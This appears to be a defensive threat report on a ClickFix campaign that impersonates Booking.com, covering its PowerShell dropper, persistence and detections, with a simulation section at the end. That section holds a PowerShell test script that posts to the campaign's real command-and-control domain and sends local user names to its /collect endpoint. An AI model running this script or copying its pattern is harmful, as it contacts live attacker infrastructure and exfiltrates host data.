Analyzing a full ClickFix attack chain (part 1)

Summary

The report outlines a ClickFix campaign in which a malicious website impersonating Booking.com to persuade users to copy and run a PowerShell command. Once executed, the command launches a fileless PowerShell script that downloads a second-stage ZIP archive. The dropper collects host information, writes the payload into the temporary directory, and creates persistence through both a Run registry key and a scheduled task. The full infection chain relies on convincing web content and user-driven execution rather than an obvious exploit.

Investigation

Stormshield analysts captured the JavaScript responsible for retrieving a PowerShell command from a command-and-control domain and placing it into the user’s clipboard. They also analyzed the PowerShell dropper, which collected detailed system information through WMI queries and environment variables before exfiltrating the data through a GET request. The same dropper then downloaded a ZIP archive from a second domain, extracted its contents, and configured persistence on the compromised host. Researchers mapped the observed behaviors and techniques to their corresponding MITRE ATT&CK identifiers.

Mitigation

Organizations should block the malicious domains and URLs tied to the ClickFix campaign and apply strict web filtering to reduce exposure to phishing-style landing pages. Defenders should monitor for PowerShell execution with flags such as -ExecutionPolicy Bypass and hidden window settings, while also limiting the execution of unsigned PowerShell scripts through application control. Additional detections should focus on the creation of suspicious Run registry keys and scheduled tasks with unfamiliar names.

Response

Security teams should alert on outbound traffic to the identified command-and-control domains and on PowerShell command lines that use Invoke-Expression to execute remotely retrieved content. Detection logic should also cover the creation of the specific Run registry value and scheduled task name associated with the campaign. If the activity is confirmed, isolate the endpoint immediately, collect volatile evidence, and perform forensic review of temporary files and the downloaded ZIP payload.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker, having obtained a foothold on a compromised internal workstation, issues a PowerShell one‑liner that contacts the ClickFix C2 URL with the ?get_command=1 parameter via an HTTP POST. The server returns a PowerShell payload that enumerates local user accounts (T1087), checks system time (T1124), discovers installed security products (T1518.001), and then copies the output to the clipboard. The clipboard content is subsequently posted back to the ClickFix server for exfiltration, fulfilling T1204.004 and T1547.001. This exact traffic pattern matches the Sigma rule’s request_uri|contains: "?get_command=1" and http_method: POST conditions.

• Regression Test Script:

  # ClickFix Command Fetch Simulation – triggers the Sigma rule
  $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
  $payload = @{
      dummy = "data"
  }
  
  # Send the malicious POST request
  $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
  
  # Simulate execution of the fetched PowerShell command (simplified)
  $psCommand = $response.Content
  Write-Output "Fetched command: $psCommand"
  
  # For demonstration, run a harmless subset (e.g., get local users) and copy to clipboard
  $users = Get-LocalUser | Select-Object -ExpandProperty Name
  $usersString = $users -join "`n"
  Set-Clipboard -Value $usersString
  
  # Exfiltrate clipboard content back to ClickFix server (simulated)
  $exfilUrl = "https://accountpulsecentre.help/collect"
  Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"

• Cleanup Commands:

  # Remove any temporary files or artifacts created during the test
  Clear-Clipboard
  Write-Output "Cleanup complete – clipboard cleared."